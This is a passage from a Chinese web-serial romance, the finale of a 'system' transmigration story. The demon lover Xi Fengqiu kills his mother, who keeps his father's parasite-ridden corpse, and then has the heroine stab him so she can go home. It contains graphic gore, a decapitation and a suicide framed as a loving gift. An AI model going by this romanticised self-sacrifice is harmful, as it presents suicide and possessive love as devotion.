池镜花逐渐放缓脚步,亲昵地勾住他的手指,沿着溪流,与他并排而走。 一路上,目之所及,枝叶繁茂绿意盎然,耳边充斥着无数鸟雀叽叽喳喳吵闹声,无不昭示着春天真的来了。 似想起什么,池镜花微微偏过头看他,视线时不时闪躲一下,几秒后终于下定决心问出心底疑惑。 “奚逢秋,等到夏天的时候,你会不会变得更香啊?” 话音落下,奚逢秋眉宇间逐渐凝上一层化不开的困惑。 “为何会这样问?” 池镜花不好意思地挠脸,“那什么……莲花不都在夏天开花嘛,所以我在想你会不会也会开花,然后变得更香。” 奚逢秋望着她笑,日光透过摇曳的耳铛,化为点点光芒落进她的眼底。 “你喜欢这样?” 池镜花报复式的用力捏了下他的指尖。 “明知故问!” 她又想起几乎每晚,他一次次地祈求她再来一次的时候,池镜花心里明明觉得不行,可总会被他钓得五迷三道的,还没来得及拒绝,身体却已经迎上去了。 继而一夜未眠。 所以,哪怕她身上的吻痕消了,也立马又有新的覆上。 她该庆幸唇瓣没再肿起,不然遇人还得找借口解释。 太麻烦了。 奚逢秋眼眸微弯,轻笑一声,道:“嗯,你喜欢的话就会。” ……好像为她开花一样。 完全把她的需求放在第一位。 池镜花不由握紧住他的手指,将其牢牢攥在手心。 不知是否被他感染,她最近也是越来越害怕与他分离。 可她却不得不回去。 察觉出她的异常,奚逢秋没说什么,反而握住她的手腕,摸了摸她的手链。 最近,他似乎总喜欢摸手链。 池镜花眨了两下眼睛,望向手链时睫羽一颤。 手链虽为血色,可在阳光的照耀下,内里似乎漂浮着花瓣的模糊影子。 这是在她以前所未曾注意到的。 池镜花诧异道:“我好像在这里面看到花瓣的影子了。” 少年微微点头,不觉惊讶地回道:“嗯,这是我以自身骨血制成的,自然会夹带本体的模样。” “好好好,你说得都对。” 池镜花成功被他说服,不再追究手链的特别之处,牵着他,慢悠悠地往街上走。 奚逢秋以指腹按住自身颈侧,感受动脉的剧烈跳动。 嗯,还是活的。 唯有她在自己身边的时候才能感受到自己是活着的。 刚开始,奚逢秋其实很不理解为何只有池镜花可以给予他完全截然不同的情绪体验,后来才知道这种感情原是喜欢。 可随着他的爱意越深,她却离自己越远,不管他做什么都徒劳无用。 似乎他们之间的结局从刚见面那一刻就已注定。 奚逢秋虽然并不觉得自己会大度到甘心放她回去,可面上却看不出任何表情变化,默默将那些危险疯狂的情绪敛下。 池镜花毫无察觉。 就像人世间的普通夫妻一样,她带着他在街上逛了很久,实在累了就去酒楼吃了午饭,又在京城里最有名的几处景点逛了逛。 直到傍晚,他们才准备回家。 奚逢秋却牵住了她的手,把她往另一个方向带。 “可以跟我去一个地方吗?” 池镜花不明所以地应下了,直到跟着他来到街后的一栋房屋前,见到那扇红色的木头,陡然记起她曾在与奚逢秋共梦时见过。 当时,小奚逢秋跪在雪地里,苗献仪就是在这里用长鞭抽打他责骂他。 哪怕现在回想起来,池镜花依旧浑身冰冷。 池镜花深吸一口气,坦言:“我在梦里来过这里。” 都已经跟他交代系统和攻略的秘密,她认为,瞒他装傻没有意义。 听她所言,奚逢秋从诧异到接受仅用几秒。 他表情平静道:“嗯,这里是母亲在京城的一处宅院,我小时候曾在这里住过一段时间。” 斜阳落日,四周偏僻,除了他们再无一人。 池镜花抬头望着紧闭的红门,心跳骤然加速。 “那现在这里还有人在吗?” 奚逢秋语气不确定地道:“也许有吧。” 池镜花犹豫道:“要……进去吗?” 虽然她完全不想让他面对这些,可若故地重游是他真实的想法,那池镜花尊重他。 奚逢秋轻轻摇头,视线不曾停留在门上。 “天快黑了,我们回去吧。” 池镜花虽也有此意,但总觉得有些奇怪,可一时间却找不到突破口。 一个小插曲,很快便忘了。 奇怪的,他晚上没再闹她,只安分地抱着她,一遍遍地呼唤她的姓名。 池镜花迷迷糊糊地从他怀里探出脑袋,有气无力地捂住他的嘴巴,让他赶紧睡觉。 奚逢秋没再出声,却也没睡。 他坐在床边,微微俯下身,在离她仅有一指距时,冰凉的发丝从耳侧滑直她的脸庞,他眼睫一颤,视线始终停在早已看了千万遍的五官上。 少年低声喃喃道:“你会记住我吗?” 无论他如何努力也得不到她的回复。 算了。 他轻轻拂过贴在她脸颊的发丝,慢慢起身出门。 回到长街尽头的宅子,门是开着的,里面只有一个人,却充斥着弥天腐烂的尸臭味。 “你到底想从我这里得到什么呢?母亲。”【魔蝎小说 mo xie xs .c om】 【终章】 第123章 第123章你是否会永远记…… 有人死了。 而奚逢秋大概率知道这个人是谁。 早在丰朝县的悬赏司门前,他看见那对门口高高挂起的那对白灯笼,象征着有皇亲国戚离世,他便猜到也许与他有关。 不过他不曾想到,原来他们这么些天遇到的一切,皆出自母亲手笔。 包括李大人认为只要收集美人皮就可复生李夫人,也是受母亲蛊惑。 至于原因……当他来到此处,看见母亲,一切已经明了。 母亲怂恿李大人掳走池镜花是因为他,为了将他身边之人除尽,让他回到最开始的时候。 ——一条只听她话的锁链。 回想起 那段时光,不知怎地,那部分记忆竟然变得有些模糊不太深刻。 这是对的吗? 他不清楚。 但他现在确实来了,不是为了完成母亲的夙愿,只想替池镜花铲除异己。 他缓慢抬眸看向对面。 苗献仪披头散发地坐在长满青苔的石阶上,早就早已不复方面神采,怀里还抱着个男人,脸颊贴在男人开膛的胸口上,一直喃喃自语。 “不会腐烂的,夫君,我不会让你腐烂的,我会一直新鲜的血肉填满你的身躯,让你跟当年一样,永远陪在我身边。” 而她口中的夫君,那应当不能称为人。 本该入土为安的父亲尸体,却被她强行种下蛊虫,以维续他的肉身,可死就是死了,哪怕有蛊虫暂缓腐败,也掩盖不住腐烂的尸臭味。 而苗献仪几个月以来与他同吃同睡,日夜拥着他,腐尸的气味早就腐尸渗入她的躯体。 分明是妖怪,却宛若活在阴暗里的鬼影。 他走至苗献仪跟前,望向她怀里的尸体面庞。 他下意识摸向自己的眼睛,记起母亲曾说过他的眉眼最像父亲。 像吗? 父亲虽尚未完全白骨化,可腐烂的身躯早已拼凑不出完整的生前面貌。 看不清了。 苗献仪迟钝地回过神,一把狠狠用力抓住他的手腕,长时间未经修剪的指甲一头扎进他的血肉。 奚逢秋毫无察觉,他只能听见苗献仪几近疯魔的吼叫。 “阿秋,我的阿秋,母亲知道你一定会回来的!” 从手腕伤口溢出的鲜血顺着他的指尖滴在尸体,划过裸露的白骨,留下一道鲜艳醒目的血痕。 而开膛的心口里躺着无数正在蛄蛹、饱受饥饿折磨的蛊虫。 由于蛊虫需日日夜夜以血肉喂养,可他们的排泄物无法直接排出,只能通过腐烂的伤口流出充满异味的深黄色粘稠液体。 早已辨不出这是他的父亲。 奚逢秋垂眸望着身体里寄宿着数不尽蛊虫的尸体,眼里毫无情绪涌动,唇瓣一张一合,声音极轻。 “好可怜。” 苗献仪指尖一顿,漆黑瞳孔一转,毫无血色的唇瓣夸张扬起。 “你不是来为你父亲献祭血肉的,对吗?” 望着死不放手的苗献仪,奚逢秋忽然十分好奇,母亲当日选择将父亲囚于自己身边时可曾预料过这种结局。 也许有,但她应该不会后悔。 正如他选择来这里一般。 他微微笑着,从指尖的血迹中扯出一缕沾血的白丝,看似十分乖巧地轻轻点了点头。 “嗯,母亲,我们很像。”- 月明星稀,凉风阵阵。 池镜花是在他离家的一个时辰后才有苏醒的迹象。 她手掌无意识地往身侧一探,察觉空无一人时立即清醒。 池镜花起身里里外外地找了一圈。 白鹤被他留下了,可他人却不在。 以前倒也不是没出现她醒时奚逢秋人不在身边的情况,唯有这次,直觉告诉她:不太对劲。 池镜花立即询问白鹤奚逢秋去哪儿了,可他也不清楚,主人这次没带他出门,就说明目的地很明确,而且不需要他辅助。 池镜花心下一凉,拽着白鹤,拔腿往外跑。 虽然她还不清楚奚逢秋会去哪里,但总比坐以待毙要强。 沿着溪流往街道的方向走,不知为何,她脑海里浮现出白日他曾带自己去过的那栋宅子。 可她不记得路。 池镜花只能将大致情况告诉白鹤,将全部的希望寄在白鹤身上- 府内四周起了火,刚冒出嫩绿枝叶的树木很好地加大了火势,可这偏僻的后街一时半会儿根本没人注意到。 奚逢秋衣摆染血,坐在苗献仪的位置,割伤手掌心,将新鲜的血液喂给挨了几天饿的蛊虫。 据说,这类蛊虫虽有维持尸体不腐的本领,却要以寄宿者为食,所以,需要有人日夜喂养他人血肉吸引它们的注意。 可这远远不够。 因此,需要给他们喂养近亲之人的血肉,如此,就可反过来滋养尸体,以达到尸体肉身不腐的效果。 可当奚逢秋将自身滚烫鲜血浇在伤口和胸口时,徒留蛊虫的狂欢,而父亲腐烂的身体并未有任何好转迹象。 他望着手脚皆断趴在地上、仿佛从血缸里捞出的苗献仪,露出温和的笑容。 “你看,母亲,哪怕聪明如你也被骗了,就算将我的血肉喂给你的蛊虫,父亲的肉身也不会恢复如初。” “还是说,你想要更多?” 倏忽,他像想起什么,骤然握紧修长五指,鲜血从他的伤口处往下滴落,他瞳孔里浮出兴奋的笑。 “对了,母亲派出那么多人,原本就是想要我的命。” 周围的血色丝线散了一地,苗献仪猛地吐出一口鲜血,血目怒瞪。 “可是你没死!你没死!你没死!为什么没有死!为什么还活着!” 奚逢秋分明在看苗献仪,可平静的眼里却没有她的身影。 “不行啊母亲,我不想给你。” ——因为他已替自己想好结局。 苗献仪满脸鲜血,愤恨地咬牙切齿道:“我没说错,你果然是个疯子!” 在他很小的时候,他就非常懂事地在自己面前扮乖,永远都在微笑没有情感起伏,还会自伤,甚至连最基本的痛觉也没有。 她就认定他绝不正常。 所以,她不需要他,但,可以利用。 奚逢秋并未否认,他依旧在笑,慢悠悠地走到苗献仪跟前,垂眸淡淡看她。 “可是母亲,你不是最爱父亲吗?却为何接受不了他死后腐烂的身躯?” 他只知道,母亲在这世上唯一只在乎父亲,既然爱他,那即便只剩尸快,那也是父亲,她为何接受不了? 为何要用尽一切办法也要留住他的肉身? 她选择给父亲下蛊,用蛊虫辅助留住他的身躯。 那现在躺在那里的人是父亲吗? 不,那只是虫子堆积的假象罢了。 可真奇怪,母亲口口声声说爱他,可却连他残败的尸骨都无法接受。 “你懂什么!你连最基本的感情都没有,你又怎知我和夫君之间的情谊!” 苗献仪恼羞成怒,却什么也做不到,又呕出一口鲜血后,忽然笑了。 “哦,不对,听说你也成亲了。” “好恶心好恶心好恶心好恶心!” “居然会有人爱一个没有感情的怪物!” “不对,她根本不爱你,不然为何还不来找你?” “你还不知道吧,我已将你今晚会来这里的消息透露给李大人,是我告诉他,要想报仇让他别把事情闹大,你觉得李大人今晚会怎么做?” 愈来愈大的橘红火舌即将吞噬唯一的出口,奚逢秋望着门口,没有理会苗献仪的垂死挣扎。 他想到白日发生的一切。 那时他为什么要特地带她来这里? 嗯,是希望她可以找到自己,主动奔赴他的身边。 然后呢? 然后他就可以做自己真正想做的事情了。 事实证明,池镜花果然不负他所望。 不多时,少女捂住口鼻奋不顾身地闯进火海,精准地牵住自己,气喘吁吁地说要带他离开这里。 奚逢秋没有动。 他微微低下头,面颊苍白如纸,蓝色瞳孔里的跃动火光将她的身影完全包围,沾血的唇瓣微微扬起。 “抱我。” 跟着白鹤一路找到这里的池镜花气还没喘匀,已遵循本能地照着他的话做了,脸颊埋进他的胸口,却闻不出任何香气,鼻腔争先恐后地涌进浓烈的血腥。 周围噼里啪啦地燃烧声已盖过她剧烈的心跳声。 池镜花攥紧他的衣裳,努力让他没有安全感的他察觉到自己的存在。 奚逢秋身躯颤抖地颤抖地埋在她的颈窝,睫羽上的一颗血珠滴在她的肌肤上,烫得池镜花几乎身体一颤。 “池镜花,你爱我吗?” 池镜花想起方才在门口听见的,以为他 受苗献仪影响。 她吸了吸鼻子,从他怀里仰起头,眨着亮晶晶的双眸,神情从未如此坚定。 “嗯,我爱你,奚逢秋,我很爱你,不是你母亲说的那样,我会一直一直喜欢你!” 池镜花不明白。 分明是苗献仪的偏执将他变成如今这样,结果却反过来怪他不正常,这世上怎么会有人这样颠倒黑白因果倒置! “你总在骗我。” 他指尖抚上她的的发丝,苍白病态的面颊露出温柔的笑容。 “你说爱我,却要离开我,你说会一直跟我在一起,但做不到,你说我跟你生活的地方才是你的家,可你还是要走。” 池镜花哑口无言。 她以为自己在给予他安全感,却万万没想到,这些话语反而变成了刺向他心口的尖刀。 仅剩一口气的苗献仪却像是听到了天大的笑话,夸张地哈哈大笑起来。 “疯子,因为她根本不爱你啊!” 话音刚落,奚逢秋蒙住了池镜花的眼睛,缠在苗献仪脖颈的丝线骤然收紧,被硬生生截断的脑袋几下滚到火焰中。 四周只能听见无名杂音,池镜花鼻头一酸,摸上他的手指。 “对不起……” 他慢慢移开五指,微微歪了歪脑袋,耳铛一晃,眉眼间缱绻着温柔似水的微笑。 “为什么要说对不起,我永远也不会怪你的。” 他照例轻柔地将她耳边碎发别至耳后,指腹轻轻擦过她的脸颊,不知餍足地贪恋她身体的温度。 “我想通了,你回去吧。” 池镜花张了张口,说不出话来。 这一晚上实在发生太多事,她需要时间消化,可门外不远处传来的嘈杂人声不允许她多做思考。 奚逢秋微笑着递给她一柄匕首。 “但在此之前,请你杀了我。” 他说过,会一直保护她,帮她肃清天地间所有阻拦。 可是,当母亲死后,他俨然成为她唯一的障碍。 因为只要他活着,他的自私和卑劣便不允许自己放她回去,他要她永远留在她的身边。 可这跟母亲对父亲所做之事没有任何区别。 但他没有办法违背她的意志做她不喜之事。 所以,他要把自己拥有的一切全部奉献予她。 “不行!” 池镜花浑身冰凉,止不住地发颤。 她严厉拒绝,想将匕首塞还回去,奚逢秋却紧紧握住她的手指,不给她拒绝的权利。 他依旧一副温温柔柔的模样,唇畔含着清润的浅笑,眼底却雾气朦胧的,一副快要哭出来的模样。 他以微凉的指腹滑过她的脸颊,给她雪白的肌肤上染上一丝血红,微微俯身,额头抵上她的,眼尾微红,眼睫垂下。 “说起来,明日是你的生辰,我听说,人类的生辰日要与亲人朋友在一起度过,等我死后,你就可以回去,与你的父母团圆,算我送你的生辰礼,好不好?” “不好不好不好不好!一点也不好!你别这样,求你了……” 池镜花泪眼婆娑地望着他,用尽力气拼命摇头,闭起眼睛,踮脚仰头朝他贴近,想要故技重施,以亲吻的方式令他快速冷静下来。 可奚逢秋没有给她机会。 他直接捂住她的嘴巴,拒绝她的索吻。 今生头一次。 池镜花睁眼瞧见抵在他心口的匕首,明晃晃地映出她模糊的五官。 她陡然记起在幻境时发生的一切。 那时的他毫无求生欲,只有她在他身边时方能好点,现在她要回去,他自然没有继续活下去的理由。 那要怎么做? 继续骗他吗? 可她再也说不出口这类话。 池镜花泪水止不住地流,求他放弃这一危险的想法。 和往常一样,他抬指替她温柔贴心地擦拭眼泪,忽略横在二人中间的匕首,还以为是关系甚好的情人在亲密交谈。 奚逢秋握住她的手指,将匕首一寸寸地推进自己的胸口。 “我教过你的,若想杀人,要将匕首插进心脏或脖颈位置,还记得吗?” 池镜花当然记得,可她从未想过要用这招对付她的爱人。 他继续道:“若是以前,我可能无法立刻死去,可如今,我的心脏在你的手上,你可以杀死我的。” 什么心脏? 池镜花不明所以地看向他赠予的手链,借着火光看见骨下若隐若现的花瓣,方知他其实早有牺牲自己成全她的打算。 滚烫的鲜血自越来越深伤口一点点溢出。 好疼啊。 他好疼啊…… 唯有池镜花的触碰才能施舍他一丝一毫的疼痛。 火光冲天,门外早已集结无数来抓他们的官兵,池镜花视线模糊地望着他胸口的伤口,不停求他别再继续用力。 “等等,等等,求你了,等等,先等等……” “没关系,即使死亡也无法让我停止爱你。” 他笑着探出食指,将指尖的一抹血红一点点抹上她的唇瓣,将他曾经存活在这个世间的最后证明放在她身上。 “这样,你是否会永远记住我?” 眼前的景色逐渐模糊,她的耳边传来稚童受惊的叫喊。 “有人死了!有人死了!有人死了!” 【男配已确认死亡】 【当前好感度已满】 【任务已完成,宿主,你可以回去了】【魔蝎小说 mo xie xs .c om】